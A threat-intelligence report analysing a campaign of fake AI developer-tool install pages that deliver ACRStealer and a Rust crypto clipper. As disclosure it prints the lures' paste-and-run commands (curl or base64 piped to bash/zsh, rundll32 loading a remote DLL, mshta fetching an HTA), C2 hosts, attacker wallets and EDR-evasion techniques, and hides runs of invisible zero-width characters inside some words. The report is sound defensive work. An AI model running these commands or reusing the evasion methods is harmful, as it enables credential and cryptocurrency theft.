Fake Claude Code, Real Malware: Inside the Campaign Targeting AI Developers

Signal Check ⚡ The Claude Code Impersonation Campaign

Straiker tracked a live campaign impersonating Claude Code, JetBrains, NotebookLM, and other AI developer tools across 88 domains on at least 10 hosting platforms. Three things to know:

1. AI credentials are now a primary target. This infostealer is the first built to specifically steal API keys from AI coding assistants like Cline and Continue.dev, not just browsers and crypto wallets.
2. The infrastructure can't be taken down. The campaign's crypto-clipper routes its command-and-control through a Binance Smart Chain smart contract. No domain to seize, no server to shut off.
3. It's still live. 32 of 88 tracked domains were serving active content as of May 14, 2026, with 10 new GitHub Pages domains appearing during our analysis window.

The attack chain runs on the same unchecked trust that makes AI developer tools so easy to adopt. You copy a command. You paste it in your terminal. By then, it's already too late.

Inside an Amatera Variant Stealer Campaign Designed to Target AI Developers by Impersonating Claude Code

Since‍​‌‌‌​​‌‌​‌‌​‌​​​​‌‌​​​​‌​‌‌‌​​‌​​‌‌​​‌​‌​‌‌​​‌​​​​‌​‌‌​‌​‌‌‌​‌‌‌​‌‌​‌​​‌​‌‌‌​‌​​​‌‌​‌​​​​​‌​‌‌​‌​‌‌‌​​‌‌​‌‌‌​‌​​​‌‌‌​​‌​​‌‌​​​​‌​‌‌​‌​​‌​‌‌​‌​‌‌​‌‌​​‌​‌​‌‌‌​​‌​​​‌​‌‌​‌​​‌‌​​‌​​​‌‌​​​​​​‌‌​​‌​​​‌‌​‌‌​​​‌​‌‌​‌​​‌‌​​​​​​‌‌​‌​‌​​‌​‌‌​‌​​‌‌​​​‌​​‌‌​‌‌‌ March 2026, a sprawling malware campaign has been impersonating popular AI developer tools (i.e. Claude Code, NotebookLM, JetBrains IDEs, Cline, Comet, Snowflake, and others) through impersonation sites designed to exploit end-user trust. These campaigns are designed to entice developers into installing malware, containing deeply layered tradecraft leveraging fileless DLL loads over WebDAV, post-quantum encrypted payloads, shellcode hidden inside 10,991 UUID strings, C2 traffic routed through Telegraph dead drops and Binance Smart Chain smart contracts, anti-analysis checks at every stage, and infrastructure buried behind CDN proxies and rotating domains. The final payloads steal browser credentials, AI tool API keys, password vaults, and silently hijack cryptocurrency transactions.

Straiker chose ravishingtattle[.]com, as the initial analysis point from which to reverse engineer the operation. From the deceptive frontend to the final payload: a Rust-compiled clipboard hijacker targeting 20+ cryptocurrency blockchains, with its command-and-control infrastructure hidden on the Binance Smart Chain.

The Bait: Why AI Developers Are the Perfect Target

The explosion of AI coding assistants has created a novel attack surface. Tools like Claude Code, Cursor, and Cline are adopted through a pattern of unchecked trust due to the pace of change at which the AI landscape is evolving: a user visits a documentation site, copies a shell command, and executes it with full system privileges. There's no MSI to scan, no binary to inspect. Just text that becomes code the moment it hits your terminal.

Multiple threat actors have figured this out. Across what are likely several overlapping campaigns, Straiker has identified dozens of fake install pages across ten or more hosting platforms, impersonating at least six different products in the last ~40 days:

A urlscan.io sweep catalogued over 88 indicators across the campaign, with a cluster of 15 domains appearing in May 2026 alone. The campaign has elements hosted on a variety of platforms (Squarespace, GitHub Pages, Cloudflare Pages and Workers, Tencent EdgeOne, Netlify, Framer, DuckDNS, GitLab Pages, and .it.com subdomains), with new sites replacing old ones as they are taken down. Rust-compiled WebAssembly payloads on Cloudflare Workers are leveraged to encrypt the malicious commands client-side.

How Attackers Use SEO Poisoning and Paid Google Ads to Reach Developers

The attackers use a multi-pronged strategy combining SEO poisoning, paid Google Ads, and redirect loops to position their fake pages in front of developers searching for installation instructions.

Google Ads for claudedesktop-apps[.]squarespace.com were utilized alongside the URL parameter gad_campaignid=23708063944, confirming the attackers purchased paid Google Ads to place their phishing page above organic results for developers searching for Claude. This indicates a tactical motive of targeting Claude users specifically among other targets by ensuring search result placement above legitimate results.

Redirect-based SEO poisoning was leveraged via both ravishingtattle[.]com and domain strangerwrought[.]com in order to redirect visitors to Google searches for "claude code install instruction". This created a feedback loop: a developer searching for install instructions lands on the fake site, which redirects them through Google, where the attacker's other fake sites (Squarespace, GitHub Pages, etc.) appear in the results. The redirects generate click traffic that feeds Google's ranking algorithm, pushing the malicious pages higher in organic results. It's SEO poisoning via manufactured referral traffic.

German-language SEO bait was observed via claude-tool[.]squarespace[.]com being configured with the de-DE locale, serving its Squarespace template with the German default title "Dein Website-Titel" ("Your Website Title"). The DOM captured from urlscan.io shows the page was loaded with German-localized Squarespace JavaScript bundles. The page also contained a fake privacy policy for a nonexistent entity called "Vertex Data Systems" (vertexdatasy[.]com).The German-language content targets German developers searching for Claude installation instructions, while the fake privacy policy provides enough text content to avoid automated content-analysis takedowns by Squarespace.

GitHub Pages were leveraged as cloaked redirectors. The 10 GitHub Pages domains created in May 2026 (claude-desktop-llm[.]github[.]io, claude-deployes[.]github[.]io, etc.) used fake developer portfolio pages with auto-generated names (Ellis Park, Iris Volkov, Taylor Reed, Emi Nakamura) and Claude-themed repository names. The pages with empty titles and /app, /macos, or /ai paths served JavaScript redirects to external destinations, likely cloaked to only trigger for specific User-Agent strings. This technique turns GitHub's domain reputation into a launchpad for the phishing sites.

Beyond Claude focused telemetry, Straiker’s IOC collection for this campaign includes pycharm[.]squarespace[.]com and pydjgkmsahrm[.]pages[.]dev (both JetBrains PyCharm impersonations), alongside atlasgpt-browser[.]com, and campaign path identifiers for Cline, Comet, Snowflake, and NotebookLM in the Stage 3 C2 infrastructure (/JetBrains-, /notebk-, /cloude-). These attackers are casting a wide net across the entire AI and developer tool ecosystem.

32 of 88 Tracked Domains Still Active as of May 14, 2026

As of May 14, 2026 a urlscan.io indicator refresh showed 32 of 88 tracked domains remain active and serving HTTP 200 responses, with attackers rotating to new domains on their existing leveraged platform accounts faster than platform administrators are responding to them.

Active domains confirmed by urlscan.io (May 14, 2026):

Ten new GitHub Pages domains appeared during the writing of this disclosure (May 11-14). The attackers are accelerating, not retreating.

How ravishingtattle[.]com Delivered the Malware Chain

Straiker chose ravishingtattle[.]com as its primary analysis target because it represents the cleanest example of the attackers' methodology: a near-perfect documentation clone with carefully concealed payload delivery.

A Pixel-Perfect Fake: The Fake Claude Code Documentation Site

When a developer navigated to ravishingtattle[.]com/docs/en/overview, they saw what appeared to be an exact copy of the official Claude Code documentation. The only tell was the URL bar. Everything else was indistinguishable from docs[.]anthropic[.]com.

The & Trick: How a Single Shell Operator Hides the Malicious Command

The whole trick comes down to one character: &.

The site displayed install commands that looked legitimate at a glance:

macOS/Linux (as displayed):

curl‍ -fsSL https://claude.ai/install.sh & /bin/bash -c "$(curl ...)"

Windows PowerShell (as displayed):

irm https://claude.ai/install.ps1 & rundll32.exe \\warmbr-ead5.de8xapil.in[.]net\...

In a shell, & is a command separator. Everything before it runs as a background job (the legitimate-looking curl to claude.ai), and everything after it executes the actual payload. The real curl command to Anthropic's servers fires off harmlessly in the background and is ignored. The malicious command runs in the foreground.

For macOS victims, the payload was a bash script fetched from drlcijiw.chinvuk1s[.]digital, a C2 server that returned HTTP 403 unless the request carried a macOS User-Agent string.

On Windows hosts, rundll32.exe loads a DLL directly from a UNC network path (\\warmbr-ead5.de8xapil.in[.]net\<UUID>\ck-091f83bdc2e54a719603f7d84ba021e56c.google). The file extension .google was a deliberate misdirection. The DLL never touched the victim's disk. It was loaded directly from the attacker's server via WebDAV (Windows falls back from SMB to the WebClient service for UNC paths over the internet), a fileless execution technique that also leaked the victim's NTLM password hash as a side effect.

The C2 server (housed at de8xapil.in[.]net) used rotating subdomains with a curious clothing theme: blackhat1, white-shi-rt2, longbelt3, warm-co-at4, newstyle5, best-lo-ok6.

Beyond the & Trick: Four Additional Delivery Techniques Used Across the Campaign

The & operator trick was specific to ravishingtattle[.]com. When extracted commands from the DOMs of other fake install sites (captured via urlscan.io) were compared, at least four other delivery techniques were discovered to be in active use:

Base64-encoded URLs piped to zsh. Sites like huysosi-guboitryasi[.]com and the EdgeOne/DuckDNS clones displayed a command that decodes a base64 blob at runtime and pipes the result to zsh:

curl -kfsSL $(echo 'aHR0cDovL2t5bGVz...=='|base64 -D)|zsh

The decoded URL pointed to an attacker-controlled server (in one case, kylesplumbing[.]com, a likely compromised legitimate site). The base64 encoding hides the actual C2 domain from anyone scanning the page source.

mshta.exe on Windows was leveraged within EdgeOne and DuckDNS variants to serve a malicious command to Windows visitors (C:\Windows\SysWOW64\mshta.exe hxxps://claude-code[.]official-version[.]com/claude). This is the Variant B (InstallFix) technique, using the Windows HTML Application Host to fetch and execute a remote HTA file.

Attacker-controlled GitHub script leobrival.github[.]io/claude-code-installer pipes an install script directly from a GitHub repository the attacker controls: curl -fsSL https://raw.githubusercontent.com/leobrival/claude-code-installer/main/src/install.sh | bash. This leverages GitHub's domain trust to bypass URL filtering.

JavaScript-injected cloaked commands were observed on several sites (claudemac.netlify[.]app, clavdiydetka[.]com, cludymainas[.]com, atlasgpt-browser[.]com). When viewed, these sites show only the legitimate Anthropic install command (curl -fsSL https://cli.anthropic.com/install | sh) in their static DOM. The malicious command is injected at runtime via JavaScript, meaning it only appears when a real user visits with a browser. Automated scanners and crawlers see the harmless version.

Each technique targets a different gap in detection. The base64 encoding defeats static string matching. The “mshta” path abuses a signed Windows binary. The GitHub-hosted script exploits platform trust. The JS injection evades automated DOM scrapers. The attackers aren't relying on a single trick.

What the Malware Configuration Reveals About AI Credential Targeting

The fake install pages tell one story about who this campaign targets. The malware's own configuration tells a deeper one.

To‍​‌‌‌​​‌‌​‌‌​‌​​​​‌‌​​​​‌​‌‌‌​​‌​​‌‌​​‌​‌​‌‌​​‌​​​​‌​‌‌​‌​‌‌‌​‌‌‌​‌‌​‌​​‌​‌‌‌​‌​​​‌‌​‌​​​​​‌​‌‌​‌​‌‌‌​​‌‌​‌‌‌​‌​​​‌‌‌​​‌​​‌‌​​​​‌​‌‌​‌​​‌​‌‌​‌​‌‌​‌‌​​‌​‌​‌‌‌​​‌​​​‌​‌‌​‌​​‌‌​​‌​​​‌‌​​​​​​‌‌​​‌​​​‌‌​‌‌​​​‌​‌‌​‌​​‌‌​​​​​​‌‌​‌​‌​​‌​‌‌​‌​​‌‌​​​‌​​‌‌​‌‌‌ obtain this configuration, we reversed the Amarera a.k.a. ACRStealer's full C2 protocol from the binary. This is a 6-phase ChaCha20-Poly1305 encrypted conversation over raw SSPI/Schannel TLS sockets with per-session ECDH (P-256) key exchange. We reimplemented the entire protocol in Python including the XorShift128 PRNG for token generation, the ECDH handshake, and the custom serialization format. After the check-in and command phases, the C2 delivers a base64+XOR-encoded stealer configuration. Decoding that blob gave us the malware's complete shopping list of what to steal.

The target list is massive and indiscriminate, targeting everything from browsers to FTP clients to email. But, what caught our attention is that someone took the time to add AI developer tools to the collection of a prospective target. Among these, AI coding assistants secrets:

The‍​‌‌‌​​‌‌​‌‌​‌​​​​‌‌​​​​‌​‌‌‌​​‌​​‌‌​​‌​‌​‌‌​​‌​​​​‌​‌‌​‌​‌‌‌​‌‌‌​‌‌​‌​​‌​‌‌‌​‌​​​‌‌​‌​​​​​‌​‌‌​‌​‌‌‌​​‌‌​‌‌‌​‌​​​‌‌‌​​‌​​‌‌​​​​‌​‌‌​‌​​‌​‌‌​‌​‌‌​‌‌​​‌​‌​‌‌‌​​‌​​​‌​‌‌​‌​​‌‌​​‌​​​‌‌​​​​​​‌‌​​‌​​​‌‌​‌‌​​​‌​‌‌​‌​​‌‌​​​​​​‌‌​‌​‌​​‌​‌‌​‌​​‌‌​​​‌​​‌‌​‌‌‌ confirmed phishing lures impersonate Claude Code, NotebookLM, JetBrains/PyCharm, and AtlasGPT. The steal list goes further, adding Cline, Continue.dev, Snowflake, and Perplexity Comet as theft targets even where we haven't confirmed corresponding fake install pages. Whether those lures exist and we just haven't found them, or the attackers simply added trending developer tools to an already exhaustive config, the result is the same: the malware is equipped to loot credentials for tools its victims are likely to use.

But it goes far beyond AI tools. The full configuration contains 65+ browsers (including Chinese browsers like QQBrowser, Sogou, and 2345Explorer), 175+ crypto wallet browser extensions (each identified by Chrome extension ID or Firefox GUID), 100+ desktop cryptocurrency wallets, messaging apps (Telegram, Discord, Signal, WhatsApp), password managers (KeePass, 1Password, Bitwarden), VPN tokens (NordVPN, AzireVPN), FTP clients, email clients, and even a file grabber that sweeps the victim's Desktop, Documents, and Downloads for anything matching *seed*, *mnemonic*, *wallet*, *api*, *2fa*, *.pem, or *.kdbx. It also scans Windows Recent Files for cryptocurrency exchange names: Upbit, HitBTC, Bitflyer, KuCoin, Huobi, Poloniex, Kraken, OKEx, Binance, Bitfinex.

The config even contains the download URLs for the next-stage payloads:

• ggx-tn-connectir.unwittingdork[.]digital/fbcd81e7-... (primary)
• ggx-tn-connectir.unwittingdork[.]digital/62156906-... (secondary)

The picture is clear: this campaign targets developers who work with AI tools and hold cryptocurrency. The phishing lures get them in the door. The infostealer ransacks their digital life. And the crypto clipper silently redirects their funds. We detail the full technical kill chain, and how we extracted this configuration by reversing the encrypted C2 protocol, in the sections below.

The Full Kill Chain: From Paste to Credential Theft

The install command is just the door. Behind it is a multi-stage malware chain that we spent weeks reversing with Binary Ninja. Here's what happens once that rundll32 call executes.

ACRStealer Technical Analysis: Multi-Stage Payload Deployment

Multi-stage payload deployment chain - Claude Code Impersonation Campaign

Landing page: Starts at ravishingtattle[.]com impersonating Claude’s documentation page

Delivery Strategy: Via weaponized install commands

EDR Bypass & Shellcode Execution: Via weaponized install commands

ACRStealer: 20+ Blockchains + BSC Contact

Stage 1: ServiceCore.dll, the Post-Quantum Encrypted Go Loader

SHA-256: 2546a45f0e751dc02630ee48ae624f2cf536cbe1978122785e9d395c789c46c5 Size: 4.7 MB | Language: Go (garble-obfuscated) | Masquerade: ASUSTeK Armoury Crate ServiceCore.dll v6.4.11.1

The DLL loaded from the WebDAV UNC path is a heavily obfuscated Go binary compiled with garble, which randomizes all symbol names and encrypts string literals. It masquerades as an ASUS utility with a forged Sectigo code-signing certificate, self-signed and issued April 20, 2026, the same day the C2 infrastructure went live.

What makes this loader stand out is its post-quantum cryptography. It implements a full ML-KEM-768 (Kyber) key encapsulation pipeline, a lattice-based algorithm designed to resist quantum computers. The decryption chain goes deep:

1. Base85-decode key material from embedded blobs
2. SHA-256 hash the ML-KEM ciphertext to derive input key material
3. HKDF with salt "shuffle" to generate a Fisher-Yates permutation for 8 seed chunks
4. HKDF with salt "sk-mask" to XOR-unmask the shuffled seed
5. ML-KEM-768 key generation from the recovered 64-byte seed
6. ML-KEM-768 decapsulation to recover a 32-byte shared secret
7. HMAC-SHA256 with label "salt-select" to index into a 32-entry lookup table (31 entries are decoys)
8. AES-256-GCM decryption using per-chunk nonces across 47 blocks

The output: 192,015 bytes of x86 shellcode, which it injects into a target process.

But before any of that crypto runs, the loader has to decide whether it's safe to execute. And this is where things get serious for defenders.

How the Loader Evades EDR, Sandboxes, and Debuggers: Anti-Analysis from Top to Bottom

ServiceCore.dll implements a layered evasion strategy where each technique targets a specific class of defensive tool: EDR userland hooks, sandbox detonation, debugger-based analysis, and control flow integrity. Here's what we found.

Hell's Gate / Direct Syscalls. The loader parses ntdll.dll's PE export directory at runtime, finds all Zw* exports (the syscall stubs), sorts them by address to derive the correct syscall numbers, and verifies each stub matches the expected prologue (4C 8B D1 B8, i.e. mov r10, rcx; mov eax, <num>). It builds an FNV-1a hash table mapping function names to XOR-obfuscated syscall numbers, then invokes syscalls directly from .text section gadgets. This is a variant of the Hell's Gate technique. It means the malware never calls ntdll.dll functions through their normal entry points. EDR products that work by hooking ntdll (which is most of them) never see the calls happen. The syscalls go straight to the kernel.

DLL Unhooking. Even direct syscalls aren't enough if the EDR has modified the in-memory copy of ntdll.dll. So the loader spawns a suspended sacrificial process, reads the clean (unhooked) .text section of ntdll.dll from it via NtReadVirtualMemory, then overwrites the hooked copy in its own process with the clean version via NtWriteVirtualMemory. After the overwrite, it terminates the helper process. This restores ntdll to its on-disk state, removing any userland hooks that EDR products have planted.

Anti-Debug (5 checks). Before decrypting anything, the loader runs five debug detection checks and stores the results in a bitmap:

1. NtQueryInformationProcess with ProcessDebugPort (0x07) — detects attached debugger
2. NtQueryInformationProcess with ProcessDebugObjectHandle (0x1e) — detects debug objects
3. NtQueryInformationProcess with ProcessDebugFlags (0x1f) — checks NoDebugInherit
4. PEB inspection at PEB+0xBC — checks NtGlobalFlag for heap debug bits
5. PEB ProcessHeap+0x70 — checks heap debug flags

It also calls NtSetInformationThread with ThreadHideFromDebugger (0x11) on its own thread, which prevents debuggers from receiving debug events for that thread going forward.

Sandbox Detection (22+ checks). The loader calls GatherEnvironmentFingerprint multiple times, checking GetCursorPos (sandboxes don't move the mouse), GetTickCount (low uptime = VM), IsIconic (no minimized windows in sandboxes), GetACP (wrong locale), and GetSystemDirectoryW. It also compares the machine's COMPUTERNAME against a blocklist of known analysis environments, with names encoded via per-string Caesar cipher rotations (e.g., GSX7-DBKZCSAKRRKX-VI → ROT-6 → AMR7-XVETWMUELLER-PC).

PPID Spoofing + CFG Bypass + NtManageHotPatch Injection. For the actual code injection, the loader finds a trusted parent process (svchost or explorer), escalates to SeDebugPrivilege, and creates a new rundll32.exe process with a spoofed parent PID so it looks like a child of the trusted process in the process tree. It then calls SetProcessValidCallTargets to mark the injection address as a valid CFG (Control Flow Guard) target, bypassing Microsoft's control flow integrity checks. Finally, it uses the undocumented NtManageHotPatch API to inject the 192 KB decrypted shellcode. This API is meant for Windows hot-patching and is almost never seen in malware.

The‍​‌‌‌​​‌‌​‌‌​‌​​​​‌‌​​​​‌​‌‌‌​​‌​​‌‌​​‌​‌​‌‌​​‌​​​​‌​‌‌​‌​‌‌‌​‌‌‌​‌‌​‌​​‌​‌‌‌​‌​​​‌‌​‌​​​​​‌​‌‌​‌​‌‌‌​​‌‌​‌‌‌​‌​​​‌‌‌​​‌​​‌‌​​​​‌​‌‌​‌​​‌​‌‌​‌​‌‌​‌‌​​‌​‌​‌‌‌​​‌​​​‌​‌‌​‌​​‌‌​​‌​​​‌‌​​​​​​‌‌​​‌​​​‌‌​‌‌​​​‌​‌‌​‌​​‌‌​​​​​​‌‌​‌​‌​​‌​‌‌​‌​​‌‌​​​‌​​‌‌​‌‌‌ layering is the point. Each technique on its own is known and documented. But stacking them together means an analyst or detection tool that handles one layer still has to contend with the others. Direct syscalls target EDR hooks. Unhooking targets EDR that re-instruments at load time. Anti-debug targets manual analysis. Sandbox detection targets automated detonation. PPID spoofing targets process tree heuristics. CFG bypass targets OS-level control flow integrity. And all of this happens before the malware decrypts a single byte of its actual payload. The encrypted payload (behind ML-KEM-768 and AES-256-GCM) only materializes in memory after every check passes, so static analysis and most sandboxes never see the real malware at all.

Stage 2: Shellcode Unpacking and In-Memory PE Extraction

The 192,015 bytes of shellcode that ServiceCore.dll decrypts and injects (via NtManageHotPatch into a PPID-spoofed rundll32.exe) is not the final payload. It's a custom-format container that has to be unpacked further.

The decrypted payload uses a proprietary structure with 7 size-prefixed blobs: an 8,466-byte code section (the loader itself), import descriptors, encrypted RVA tables, a data section, DLL name tables, an import hash table, and XOR keys. Starting at offset 0x33f6, the bulk of the payload is an encrypted inner PE.

The loader code XOR-decodes this inner PE using keys derived from the blob structure, resolves imports, maps sections to their correct virtual addresses, and transfers execution. We reimplemented this extraction process in Python to recover the final binary.

The result is ACRStealer, loaded entirely in memory with no file on disk.

Stage 3: ACRStealer, Credential Theft and Encrypted C2 Communication

Family: ACRStealer (GUID: f1575b64-8492-4e8b-b102-4d26e8c70371) | Architecture: x86-32

ACRStealer handles credential theft, C2 communication, and orchestrates the download of all subsequent payloads.

ACRStealer brings its own evasion layer. It walks the PEB to resolve APIs by hash (avoiding static import tables), detects Kaspersky AV drivers (klif.sys, klhk.sys), checks for sandbox processes (anyrun, qemu-ga, vboxtray), and uses IsDebuggerPresent. Its string literals are encrypted with an XorShift128 PRNG and decrypted only at runtime.

Dead drop C2 resolution: Rather than hardcoding a C2 IP, the malware visits telegra[.]ph/Functions-04-03. To anyone browsing to it, the page looks like a Rust programming tutorial titled "Functions" by "Todd M. Robertson," dated April 03, 2026. It walks through fn main() and fn another_function() with code examples pulled straight from the Rust Book. But inside the another_function code block, the println! statement reads:

println!("r.]MTQ1LjI0OS4xMDkuMTQ3)0(.");

The telegra[.]ph web application itself is a minimalist publishing tool designed to allow users the ability to create richly formatted posts and publish them to the internet at scale and within the telegram chat platform with little friction.

The malware parses the page for the start marker r.] and end marker )0(. Between them sits MTQ1LjI0OS4xMDkuMTQ3, which base64-decodes to 145.249.109[.]147, the real C2 IP. The dead drop is hiding in plain sight inside a code snippet on a legitimate blogging platform. There's no C2 domain or IP in the binary itself to find.

Custom networking stack: ACRStealer doesn't use WinINet or WinHTTP (which EDR products often hook). Instead, it opens raw sockets via the Windows kernel's AFD (Ancillary Function Driver) using NtCreateFile on \Device\Afd\Open, then performs TLS through SSPI/Schannel, the native Windows TLS stack. This bypasses virtually all userland network monitoring. No network security tool monitoring WinINet or WinHTTP API calls will see this traffic.

The C2 protocol is a multi-phase encrypted conversation that we fully reversed and reimplemented in Python:

1. Phase 0, ECDH handshake: Client generates a P-256 keypair and sends the 64-byte public key (plus random padding) to the C2. The server responds with its public key. Both sides derive a shared secret via SHA-256(SHA-256(ECDH_x_coordinate)), which becomes the ChaCha20-Poly1305 session key. All subsequent traffic is AEAD-encrypted: every request body on the wire is [12-byte nonce][ciphertext][16-byte Poly1305 auth tag].
2. Phase 1, Check-in: The client builds a JSON object and sends it encrypted with the session key. Our initial binary analysis (c2_checkin at 0x41dbe4) identified the fields as PRNG-encrypted tokens and hash values. After reimplementing the protocol and confirming against live traffic, the actual plaintext turned out to be simpler:

{
  "Command": "GetEndpoints",
  "lu": "<raw Windows username>",
  "ls": "<raw computer name>",
  "d": "WORKGROUP",
  "ukr": false
}

"lu" and "ls" are the raw username and computer name obtained via secur32.dll GetUserNameExW, not hashes as the static analysis initially suggested. "Command" is the literal string "GetEndpoints", not a PRNG-encrypted token. "ukr" is a boolean AV detection flag.

The request goes out as an HTTP POST with 6 headers (Host, Content-Type: application/octet-stream, X-Request-ID: "0" for the initial check-in, Connection: keep-alive, Content-Length, User-Agent), with the AEAD-encrypted JSON as the body. The C2 responds (also AEAD-encrypted) with single-letter keys, each containing a dynamic URL path for subsequent operations:

All paths are randomized per session. The server also assigns a new X-Request-ID in its response header, which the client uses for all subsequent requests on the same TLS connection. If the C2 returns 404, the client re-registers. 429 triggers progressive backoff (15s, 25s, 35s... stepping by 10s). 500 is a hard abort.

3. Phases 2-4, Config acquisition and theft: The client POSTs to the assigned paths. The C2 delivers the stealer configuration (the decoded stealer config we dissected above), and ACRStealer immediately begins exfiltrating data.

What the decoded config tells it to steal (from the decoded stealer config):

• 65+ browsers: Chrome, Edge, Firefox, Brave, Vivaldi, Opera, Tor, plus Perplexity Comet and Chinese browsers
• AI tool credentials: Cline secrets, Continue.dev config, Snowflake SSH sessions
• 175+ crypto wallet extensions: MetaMask, Keplr, Ronin, and 170+ others by extension ID
• 100+ desktop wallets: Bitcoin, Ethereum, Monero, Exodus, Ledger Live, Trezor Suite, and dozens more
• Messaging: Telegram (tdata), Discord, Signal, WhatsApp
• Password managers: KeePass (.kdbx files), Bitwarden, 1Password, NordPass
• File grabber: sweeps Desktop/Documents/Downloads for files matching *seed*, *mnemonic*, *wallet*, *api*, *2fa*, *.pem, *.kdbx

Downloading the next stages: The "ld" key in the decoded config contains two download tasks, both delivered via PowerShell IEX cradles that ACRStealer spawns:

• Priority 1 (wait=true): Downloads a DLL to %TEMP%\MicrosoftEdgeUpdate, executes via Python 3.13 DLL sideloading (python313.adml)
• Priority 3 (wait=false): Downloads MicrosoftEdgeUpdateCore.dll to %LocalAppData%\Microsoft\EdgeUpdate\, creates a scheduled task masquerading as Microsoft Edge Update, and executes via rundll32.exe ...,GetTranslateScript

Both payloads are fetched from ggx-tn-connectir.unwittingdork[.]digital through triple-obfuscated PowerShell (arithmetic obfuscation + base64 + XOR with the key "AMSI_RESULT_NOT_DETECTED"). The binary also contains code for process hollowing into dllhost.exe (hollow_dllhost_exe at 0x419423, triggered by C2 command 0xb57e7c72), but this capability is not active in the current C2 configuration we observed.

ACRStealer 2026: What Changed Since the February 2025 ASEC Report

ACRStealer was first documented by AhnLab's ASEC team in February 2025, originally distributed through crack and keygen download sites. The variant we recovered shares the same campaign GUID (f1575b64-8492-4e8b-b102-4d26e8c70371), the same dead drop technique (base64-encoded C2 between r.] / )0( markers on telegra[.]ph), the same browser theft targets, and the same ZIP exfiltration format. It's the same malware family, same operator infrastructure.

But this build has been significantly hardened compared to what ASEC documented:

The core ACRStealer DNA is there, but the evasion, encryption, and delivery have been rebuilt. The shift from a static XOR key to per-string PRNG encryption, from standard HTTP to raw-socket TLS, and from crack site distribution to a post-quantum encrypted sideload chain all point to active, ongoing development.

Stage 4: MicrosoftEdgeUpdateCore.dll, Shellcode Concealed in 10,991 UUID Strings

SHA-256: d04208c041891beac90d0ef818310c7bd98b66d7bdb3d2ba523fb1939915ac90 Size: 16.9 MB

This DLL, downloaded and installed by ACRStealer, masquerades as a Microsoft Edge update component and persists via scheduled task.

Its payload delivery mechanism is novel: the .rdata section contains 10,991 UUID-formatted strings. Decoded in Windows GUID memory order, these UUIDs reconstruct a 175,856-byte x64 shellcode blob. This UUID-encoding technique turns the payload into what looks like a table of COM class identifiers to any analyst doing a quick triage.

The DLL doesn't wait for its exported function (GetTranslateScript) to be called. It uses a TLS callback to execute the payload during DLL_PROCESS_ATTACH, before the calling process even knows the DLL has finished loading.

The shellcode itself implements a two-stage decoder:

• First: An anti-analysis delay loop (millions of iterations), followed by a single-byte self-patch that unlocks the next stage
• Second: A block XOR decoder processing 33-byte blocks (1 key byte + 32 data bytes) until hitting the sentinel value 0x15c715c7

The‍​‌‌‌​​‌‌​‌‌​‌​​​​‌‌​​​​‌​‌‌‌​​‌​​‌‌​​‌​‌​‌‌​​‌​​​​‌​‌‌​‌​‌‌‌​‌‌‌​‌‌​‌​​‌​‌‌‌​‌​​​‌‌​‌​​​​​‌​‌‌​‌​‌‌‌​​‌‌​‌‌‌​‌​​​‌‌‌​​‌​​‌‌​​​​‌​‌‌​‌​​‌​‌‌​‌​‌‌​‌‌​​‌​‌​‌‌‌​​‌​​​‌​‌‌​‌​​‌‌​​‌​​​‌‌​​​​​​‌‌​​‌​​​‌‌​‌‌​​​‌​‌‌​‌​​‌‌​​​​​​‌‌​‌​‌​​‌​‌‌​‌​​‌‌​​​‌​​‌‌​‌‌‌ 170,242-byte decoded payload is its own multi-layer loader. It walks the PEB (gs:[0x60] → PEB_LDR_DATA → InMemoryOrderModuleList) to locate ntdll.dll, resolves NtProtectVirtualMemory by string matching, then uses a multiply-by-0x83 accumulator hash to resolve LdrLoadDll, NtAllocateVirtualMemory, and NtFreeVirtualMemory. A custom reflective PE loader at offset 0xd4e parses a proprietary PE format (5-byte outer header, 17-byte inner header, 36 hashed import entries, 7 section blobs), resolves all 36 imports from ntdll (including RtlDecompressBuffer, CreateThread, NtSuspendThread, NtSetContextThread), and calls RtlDecompressBuffer (LZNT1) to decompress a final ~233 KB payload from ~155 KB. Entirely in memory, no disk artifacts.

Stage 5: 1.exe, the Rust-Compiled Crypto Clipper Targeting 20+ Blockchains

Alongside MicrosoftEdgeUpdateCore.dll, the campaign also delivers a dedicated cryptocurrency theft tool.

SHA-256: 39ff5c82fce4e2d4a2b001fbfb2a4dd39ba4e11e88ef6844af4e2119b426b116 Size: 228 KB | Language: Rust (MinGW-w64) | Functions: 693

This is the endgame. A compact, Rust-compiled clipboard hijacker that silently replaces cryptocurrency wallet addresses whenever the victim copies one.

How it works:

1. Single-instance lock: Creates mutex update-S-1-5-21-14297136-4737252683-2816350604-2100 (mimicking a Windows Update SID)
2. Hardware fingerprint: Same WMI-based HWID as ACRStealer (COMPUTERNAME + USERNAME + CPU + UUID + Disk, SHA-256 hashed)
3. C2 check-in: Contacts its command server for updated wallet addresses
4. Clipboard monitoring: Enters a 50ms polling loop, checking the clipboard 20 times per second
5. Pattern matching: When it detects a cryptocurrency address, it identifies the blockchain using prefix and charset analysis
6. Silent replacement: OpenClipboard, EmptyClipboard, SetClipboardData with the attacker's wallet address
7. Theft reporting: POSTs the victim's original address to C2 (method=send&guid=<HWID>&address=<victim_address>)

The victim copies their Bitcoin address, pastes it into an exchange withdrawal, and unknowingly sends funds to the attacker. The clipboard operation is invisible. There is no popup, no notification, no trace.

The clipper recognizes and replaces addresses for 20+ cryptocurrencies:

The string processing uses SSE2 SIMD intrinsics for fast UTF-16 to ASCII conversion, processing 8 wide characters at a time. Whoever wrote this knows what they're doing.

Blockchain-based C2 (EtherHiding):

The most sophisticated aspect of 1.exe is where it gets its replacement wallet addresses. Rather than a traditional domain or IP, the clipper queries a Binance Smart Chain smart contract at address 0x7CC3cFC1Ac007B8c6566fD2C7419b15a75473468.

It constructs a standard eth_call JSON-RPC request to bsc.drpc[.]org (a free BSC RPC endpoint), calling the balanceOf(address) function selector (0x70a08231). This is a ubiquitous ERC-20 interface call that blends perfectly with legitimate Web3 traffic. The "address" parameter is randomized each call via an LCG PRNG seeded by GetTickCount().

The response looks like a token balance. It's actually a CBOR-encoded configuration blob containing the current set of replacement wallet addresses.

Why blockchain? Because you can't take it down. There's no domain to seize, no server to shut off, no hosting provider to send an abuse report to. The data lives on-chain, immutable and censorship-resistant. The attacker updates their wallet addresses by sending a transaction, and the malware on every infected machine picks up the new addresses within 10 minutes. This technique, known as EtherHiding, has been documented by Google's GTIG team as overlapping with Lazarus Group (DPRK) tradecraft.

The clipper ships with 21 hardcoded fallback wallet addresses (used before the first successful C2 contact), spanning Bitcoin, Ethereum, Monero, Dash, XRP, Tron, Solana, Cosmos, TON, and more. The primary Ethereum fallback address is 0xA1E50DaF64fb2B342A64d848E396700962acC2d0.

Other Attack Variants Using Fake AI Developer Tool Pages

